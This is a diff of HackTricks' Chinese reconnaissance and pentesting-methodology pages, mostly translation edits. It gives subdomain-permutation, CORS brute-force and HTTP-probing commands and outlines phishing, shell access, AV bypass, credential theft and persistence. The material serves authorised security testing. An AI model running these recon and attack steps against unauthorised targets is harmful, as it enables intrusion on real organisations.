* [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。
|
||||
* 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
|
@ -410,17 +410,17 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**,根据指示的模式尝试发现更多子域名。
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它**生成新的潜在子域名**,根据指示的模式尝试发现更多子域名。
|
||||
|
||||
#### 智能排列生成
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中提取 **主要部分** 并进行混合,以找到更多子域名。
|
||||
* [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇[**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从**发现的子域名**中提取**主要部分**并进行混合,以找到更多子域名。
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -462,54 +462,54 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS 暴力破解**
|
||||
|
||||
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。
|
||||
有时您会发现页面仅在 _**Origin**_ 头中设置有效的域/子域时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Buckets Brute Force**
|
||||
|
||||
在寻找 **subdomains** 时,注意是否指向任何类型的 **bucket**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
此外,由于此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的 bucket 名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||
此外,既然你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的 bucket 名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||
|
||||
### **Monitorization**
|
||||
|
||||
您可以通过监控 **Certificate Transparency** 日志来 **监控** 是否创建了域的新 **subdomains**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
|
||||
你可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的 **新子域**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
检查可能的 [**subdomain 接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
检查可能的 [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
如果 **subdomain** 指向某个 **S3 bucket**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||
|
||||
如果您发现任何 **subdomain 的 IP 与您在资产发现中找到的不同**,您应该执行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,您可以在 **本书中找到一些“攻击”它们的技巧**。\
|
||||
_请注意,有时 subdomain 托管在不受客户控制的 IP 内,因此不在范围内,请小心。_
|
||||
如果你发现任何 **子域的 IP 与你在资产发现中找到的不同**,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **这本书中找到一些“攻击”它们的技巧**。\
|
||||
_请注意,有时子域托管在不受客户控制的 IP 内,因此不在范围内,请小心。_
|
||||
|
||||
## IPs
|
||||
|
||||
在初始步骤中,您可能已经 **找到了一些 IP 范围、域和 subdomains**。\
|
||||
现在是 **收集这些范围内的所有 IP** 和 **域/subdomains(DNS 查询)**的时候。
|
||||
在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\
|
||||
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候了。
|
||||
|
||||
使用以下 **免费 API** 的服务,您还可以找到 **域和 subdomains 之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域。
|
||||
你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**对所有不属于 CDN 的 IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的东西)。在发现的运行服务中,您可能 **能够找到漏洞**。
|
||||
**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。
|
||||
|
||||
**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。**
|
||||
|
||||
## Web servers hunting
|
||||
|
||||
> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域和 subdomains。现在是搜索 Web 服务器的时候了。
|
||||
> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域名和子域名。现在是搜索 Web 服务器的时候了。
|
||||
|
||||
在之前的步骤中,您可能已经对发现的 **IPs 和域进行了某些侦察**,因此您可能 **已经找到了所有可能的 Web 服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的 Web 服务器**。
|
||||
在之前的步骤中,你可能已经对发现的 **IP 和域名进行了某些侦察**,因此你可能 **已经找到了所有可能的 Web 服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的 Web 服务器**。
|
||||
|
||||
请注意,这将是 **面向 Web 应用程序发现**,因此您还应该 **执行漏洞** 和 **端口扫描**(如果范围允许)。
|
||||
请注意,这将是 **面向 Web 应用程序发现**,因此你也应该 **进行漏洞** 和 **端口扫描**(**如果范围允许**)。
|
||||
|
||||
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **web** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
|
||||
另一个友好的工具来查找 Web 服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80(http)和 443(https)端口。此外,您可以指示尝试其他端口:
|
||||
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **web** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\
|
||||
另一个友好的工具来查找 Web 服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80(http)和 443(https)端口。此外,你可以指示尝试其他端口:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
@ -526,7 +526,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
为了找到属于公司的潜在云资产,您应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,您可以使用以下词汇:“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
|
||||
|
||||
您还需要**常用词汇**的字典,用于存储桶:
|
||||
您还需要**常用词汇的字典**,用于存储桶:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -587,12 +587,12 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### Paste泄露
|
||||
|
||||
有时攻击者或仅仅是员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
|
||||
有时攻击者或只是员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\
|
||||
您可以使用工具[**Pastos**](https://github.com/carlospolop/Pastos)同时在80多个粘贴网站上进行搜索。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
老而金的Google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千个您无法手动运行的可能查询。因此,您可以选择您最喜欢的10个,或者使用**工具,如**[**Gorks**](https://github.com/carlospolop/Gorks)**来运行它们。**
|
||||
老而金贵的google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千个您无法手动运行的可能查询。因此,您可以选择您最喜欢的10个,或者使用**工具,如**[**Gorks**](https://github.com/carlospolop/Gorks)**来运行它们。**
|
||||
|
||||
_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快阻止您。_
|
||||
|
||||
|
@ -616,7 +616,7 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
|||
|
||||
## [**网络渗透测试方法**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**大多数漏洞**由漏洞猎人发现,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法**,您可以在[**这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
|
||||
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法**,您可以[**在这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
|
||||
|
||||
我还想特别提到[**Web自动扫描器开源工具**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果您不应该期望它们找到非常敏感的漏洞,但它们在**工作流程中实现一些初步网络信息**时非常有用。
|
||||
|
||||
|
@ -626,14 +626,14 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
|||
|
||||
所以您已经:
|
||||
|
||||
1. 找到范围内的所有**公司**
|
||||
2. 找到属于公司的所有**资产**(并在范围内进行一些漏洞扫描)
|
||||
3. 找到属于公司的所有**域名**
|
||||
4. 找到所有域名的**子域名**(是否有子域名接管?)
|
||||
5. 找到范围内的所有**IP**(来自和**不来自CDN**的IP)。
|
||||
6. 找到所有**网络服务器**并对其进行了**截图**(是否有任何奇怪的地方值得深入研究?)
|
||||
7. 找到属于公司的所有**潜在公共云资产**。
|
||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会让您**轻松获得重大胜利**。
|
||||
1. 找到了范围内的**所有公司**
|
||||
2. 找到了属于公司的**所有资产**(并在范围内进行了一些漏洞扫描)
|
||||
3. 找到了属于公司的**所有域名**
|
||||
4. 找到了域名的**所有子域名**(是否有子域名接管?)
|
||||
5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP)。
|
||||
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?)
|
||||
7. 找到了属于公司的**所有潜在公共云资产**。
|
||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这可能会让您**轻松获得重大胜利**。
|
||||
9. **渗透测试您找到的所有网站**
|
||||
|
||||
## **全面侦查自动工具**
|
||||
|
@ -647,17 +647,17 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
|||
|
||||
## **参考文献**
|
||||
|
||||
* 所有免费的[**@Jhaddix**](https://twitter.com/Jhaddix)课程,如[**漏洞猎人的方法论v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* 所有免费的[**@Jhaddix**](https://twitter.com/Jhaddix)课程,如[**Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对**黑客职业**和破解不可破解的东西感兴趣 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
如果您对**黑客职业**和破解不可破解的东西感兴趣 - **我们正在招聘!**(_要求流利的波兰语书写和口语_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -665,7 +665,7 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入**💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在Twitter上关注**我们🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向**[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)的github仓库提交PR来分享黑客技巧。
|
||||
* **通过向**[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 渗透测试方法论
|
||||
# Pentesting Methodology
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -9,31 +9,31 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 渗透测试方法论
|
||||
## Pentesting Methodology
|
||||
|
||||
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ 设计。_
|
||||
_Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_设计。_
|
||||
|
||||
### 0- 物理攻击
|
||||
|
||||
你是否对想要攻击的机器有 **物理访问权限**?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**逃避 GUI 应用程序**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
||||
你是否对想要攻击的机器有 **物理访问权限**?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**从 GUI 应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
||||
|
||||
### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
|
||||
|
||||
**根据**你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络中的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
||||
**根据**你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络内部的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。
|
||||
|
@ -42,7 +42,7 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
### **2-** [**与网络互动**](pentesting-network/) **(内部)**
|
||||
|
||||
**本节仅适用于进行内部测试的情况。**\
|
||||
在攻击主机之前,你可能更愿意 **从网络中窃取一些凭据** 或 **嗅探** 一些 **数据** 以 **被动/主动(MitM)** 了解你可以在网络中找到什么。你可以阅读 [**渗透测试网络**](pentesting-network/#sniffing)。
|
||||
在攻击主机之前,你可能更愿意 **从网络中窃取一些凭据** 或 **嗅探** 一些 **数据** 以 **被动/主动(MitM)** 了解你可以在网络中找到什么。你可以阅读 [**Pentesting Network**](pentesting-network/#sniffing)。
|
||||
|
||||
### 3- [端口扫描 - 服务发现](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -52,32 +52,32 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
一旦你知道哪些服务在运行,可能还有它们的版本,你就需要 **搜索已知的漏洞**。也许你会运气好,找到一个可以让你获得 shell 的漏洞...
|
||||
|
||||
### **5-** 渗透测试服务
|
||||
### **5-** Pentesting 服务
|
||||
|
||||
如果没有任何运行服务的花哨漏洞,你应该寻找 **每个运行服务中的常见错误配置**。
|
||||
如果没有任何针对正在运行的服务的特别漏洞,你应该寻找 **每个运行服务中的常见错误配置**。
|
||||
|
||||
**在本书中,你将找到渗透测试最常见服务的指南**(以及其他不太常见的服务)。请在左侧索引中搜索 **_**渗透测试**_ **部分**(服务按其默认端口排序)。
|
||||
**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不那么常见的服务)。请在左侧索引中搜索 **_**PENTESTING**_ **部分**(服务按其默认端口排序)。
|
||||
|
||||
**我想特别提到** [**渗透测试 Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\
|
||||
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\
|
||||
此外,这里还有一个关于如何[ **查找软件中的已知漏洞**](search-exploits.md)的小指南。
|
||||
|
||||
**如果你的服务不在索引中,请在 Google 中搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 中找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以通过 **连接到服务、模糊测试并阅读响应**(如果有的话)开始。
|
||||
**如果你的服务不在索引中,请在 Google 上搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 上找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以从 **连接到服务、模糊测试并阅读响应**(如果有的话)开始。
|
||||
|
||||
#### 5.1 自动工具
|
||||
|
||||
还有几种工具可以执行 **自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于渗透测试服务的笔记。**
|
||||
|
||||
#### **5.2- 暴力破解服务**
|
||||
#### **5.2 暴力破解服务**
|
||||
|
||||
在某些情况下,**暴力破解** 可能对 **攻陷** 一个 **服务** 有用。[**在这里找到不同服务暴力破解的备忘单**](brute-force.md)**。**
|
||||
在某些情况下,**暴力破解** 可能对 **攻破** 一个 **服务** 有用。[**在这里找到不同服务暴力破解的备忘单**](brute-force.md)**。**
|
||||
|
||||
### 6- [网络钓鱼](phishing-methodology/)
|
||||
### 6- [钓鱼](phishing-methodology/)
|
||||
|
||||
如果到目前为止你还没有找到任何有趣的漏洞,你 **可能需要尝试一些网络钓鱼** 以便进入网络。你可以在这里阅读我的钓鱼方法论 [here](phishing-methodology/):
|
||||
如果到目前为止你还没有找到任何有趣的漏洞,你 **可能需要尝试一些钓鱼** 以便进入网络。你可以在这里阅读我的钓鱼方法论 [here](phishing-methodology/):
|
||||
|
||||
### **7-** [**获取 Shell**](reverse-shells/)
|
||||
|
||||
不知怎么的,你应该找到 **某种方式在受害者上执行代码**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](reverse-shells/)。
|
||||
不知何故,你应该找到 **在受害者上执行代码的某种方法**。然后,[在系统中可能使用的工具列表以获取反向 shell 将非常有用](reverse-shells/)。
|
||||
|
||||
特别是在 Windows 中,你可能需要一些帮助来 **避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
|
||||
|
||||
|
@ -89,49 +89,49 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**数据提取**](exfiltration.md)
|
||||
### **9 -** [**提取**](exfiltration.md)
|
||||
|
||||
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一篇** [**关于你可以用来实现这些目的的常用工具的文章**](exfiltration.md)**。**
|
||||
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一个** [**关于你可以用这些目的使用的常见工具的帖子**](exfiltration.md)**。**
|
||||
|
||||
### **10- 特权提升**
|
||||
|
||||
#### **10.1- 本地特权提升**
|
||||
|
||||
如果你在盒子里 **不是 root/管理员**,你应该找到一种方法来 **提升特权**。\
|
||||
在这里你可以找到 **在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南**。\
|
||||
在这里你可以找到 **在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南。**\
|
||||
你还应该查看这些关于 **Windows 工作原理** 的页面:
|
||||
|
||||
* [**身份验证、凭据、令牌特权和 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLM 工作原理**](../windows-hardening/ntlm/)
|
||||
* 如何 [**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 在 Windows 中
|
||||
* 一些关于 [_**活动目录**_](../windows-hardening/active-directory-methodology/) 的技巧
|
||||
* 一些关于 [_**Active Directory**_](../windows-hardening/active-directory-methodology/) 的技巧
|
||||
|
||||
**不要忘记查看最佳工具以枚举 Windows 和 Linux 本地特权提升路径:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- 域特权提升**
|
||||
|
||||
在这里你可以找到一篇 [**方法论,解释最常见的操作以枚举、提升特权并在活动目录中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是 **极其微妙** 的。
|
||||
在这里你可以找到一个 [**方法论,解释最常见的操作以枚举、提升特权并在 Active Directory 中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是 **极其微妙的**。
|
||||
|
||||
### 11 - 后期处理
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - 掠夺
|
||||
|
||||
检查你是否可以在主机中找到更多 **密码**,或者你是否有 **访问其他机器** 的 **用户权限**。\
|
||||
检查你是否可以在主机内部找到更多 **密码**,或者你是否有 **访问其他机器** 的 **权限**。\
|
||||
在这里找到不同的方法来 [**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
||||
|
||||
#### 11.2 - 持久性
|
||||
|
||||
**使用 2 到 3 种不同类型的持久性机制,以便你不需要再次利用系统。**\
|
||||
**在这里你可以找到一些** [**关于活动目录的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
|
||||
**使用 2 或 3 种不同类型的持久性机制,这样你就不需要再次利用系统。**\
|
||||
**在这里你可以找到一些** [**关于 Active Directory 的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
|
||||
|
||||
TODO: 完成 Windows 和 Linux 的持久性后期处理
|
||||
TODO: 完成 Windows 和 Linux 的持久性帖子
|
||||
|
||||
### 12 - 透视
|
||||
### 12 - 透传
|
||||
|
||||
通过 **收集到的凭据**,你可能可以访问其他机器,或者你可能需要 **发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\
|
||||
在这种情况下,隧道可能是必要的。这里你可以找到 [**关于隧道的文章**](tunneling-and-port-forwarding.md)。\
|
||||
你绝对应该查看关于 [活动目录渗透测试方法论](../windows-hardening/active-directory-methodology/) 的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
||||
还要查看关于 [**NTLM**](../windows-hardening/ntlm/) 的页面,这在 Windows 环境中可能非常有用。
|
||||
在这种情况下,隧道可能是必要的。这里你可以找到 [**关于隧道的帖子**](tunneling-and-port-forwarding.md)。\
|
||||
你绝对应该查看关于 [Active Directory 渗透测试方法论](../windows-hardening/active-directory-methodology/) 的帖子。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
||||
还要查看关于 [**NTLM**](../windows-hardening/ntlm/) 的页面,这在 Windows 环境中透传时可能非常有用。
|
||||
|
||||
### 更多
|
||||
|
||||
|
@ -151,9 +151,9 @@ TODO: 完成 Windows 和 Linux 的持久性后期处理
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**填充 Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
